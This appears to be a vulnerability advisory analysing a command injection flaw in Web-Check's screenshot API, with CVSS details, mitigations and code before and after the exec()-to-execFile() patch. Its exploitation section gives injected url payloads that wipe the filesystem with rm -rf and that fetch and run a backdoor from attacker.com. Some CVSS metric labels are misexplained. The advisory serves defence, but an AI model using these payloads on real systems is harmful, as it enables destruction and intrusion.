EUVD-2025-11013

Comprehensive Technical Analysis of EUVD-2025-11013

1. Vulnerability Assessment and Severity Evaluation

The vulnerability described in EUVD-2025-11013 pertains to a command injection flaw in the screenshot API of the Web-Check project. This vulnerability allows attackers to execute arbitrary system commands on the underlying host by manipulating the url parameter, which is passed unsanitized into a shell command using exec(). The severity of this vulnerability is rated with a Base Score of 9.3 according to CVSS 4.0, indicating a critical risk.

CVSS Vector Breakdown:

• AV:N (Network Vector): The vulnerability is exploitable over the network.
• AC:L (Low Attack Complexity): The attack requires low complexity to exploit.
• AT:N (No Authentication Required): No authentication is required to exploit the vulnerability.
• PR:N (No Privileges Required): No special privileges are required to exploit the vulnerability.
• UI:N (No User Interaction Required): No user interaction is required to exploit the vulnerability.
• VC:H (High Confidentiality Impact): The vulnerability has a high impact on confidentiality.
• VI:H (High Integrity Impact): The vulnerability has a high impact on integrity.
• VA:H (High Availability Impact): The vulnerability has a high impact on availability.
• SC:N (No Scope Change): The vulnerability does not change the security scope.
• SI:N (No Scope Integrity): The vulnerability does not affect the integrity of the security scope.
• SA:N (No Scope Availability): The vulnerability does not affect the availability of the security scope.

2. Potential Attack Vectors and Exploitation Methods

Attackers can exploit this vulnerability by crafting malicious url parameters that include shell commands. These commands can be used to:

• Extract sensitive files from the host system.
• Establish remote access by deploying backdoors or reverse shells.
• Execute arbitrary commands to disrupt services or gain further control over the system.

Example Exploitation: An attacker could send a crafted url parameter like http://example.com; rm -rf / to delete critical system files, or http://example.com; wget http://attacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor to download and execute a backdoor.

3. Affected Systems and Software Versions

The vulnerability affects versions of the Web-Check project prior to 2.0.1. Users running any version below 2.0.1 are at risk and should upgrade immediately.

4. Recommended Mitigation Strategies

Immediate Mitigation:

• Upgrade: Upgrade to Web-Check version 2.0.1 or later, which includes the patch that replaces exec() with execFile().
• Input Sanitization: Ensure all user-controlled inputs are properly sanitized and validated before being used in system commands.
• Least Privilege: Run the Web-Check service with the least privileges necessary to minimize the impact of a successful exploit.

Long-Term Mitigation:

• Regular Audits: Conduct regular security audits and code reviews to identify and mitigate similar vulnerabilities.
• Security Training: Provide security training for developers to understand the risks associated with command injection and other common vulnerabilities.
• Monitoring: Implement monitoring and logging to detect and respond to suspicious activities.

5. Impact on European Cybersecurity Landscape

The exploitation of this vulnerability could have significant implications for European organizations using the Web-Check tool. Unauthorized access to sensitive data, disruption of services, and potential data breaches could lead to financial losses, reputational damage, and legal consequences under regulations such as GDPR. The critical nature of this vulnerability underscores the need for robust cybersecurity practices and timely patch management.

6. Technical Details for Security Professionals

Vulnerability Details:

• Vulnerable Function: The exec() function in the screenshot API.
• Patch Details: The vulnerability was patched by replacing exec() with execFile(), which avoids using a shell and properly isolates arguments.

Code Snippet Before Patch:

const { exec } = require('child_process');
exec(`screenshot ${url}`, (error, stdout, stderr) => {
  // Handle output
});

Code Snippet After Patch:

const { execFile } = require('child_process');
execFile('screenshot', [url], (error, stdout, stderr) => {
  // Handle output
});

References:

• GitHub Security Advisory
• Patch Pull Request
• Patch Commit

Conclusion: The command injection vulnerability in the Web-Check project is critical and requires immediate attention. Organizations should prioritize upgrading to the patched version and implement robust security measures to prevent similar issues in the future. The European cybersecurity landscape demands vigilance and proactive measures to safeguard against such high-impact vulnerabilities.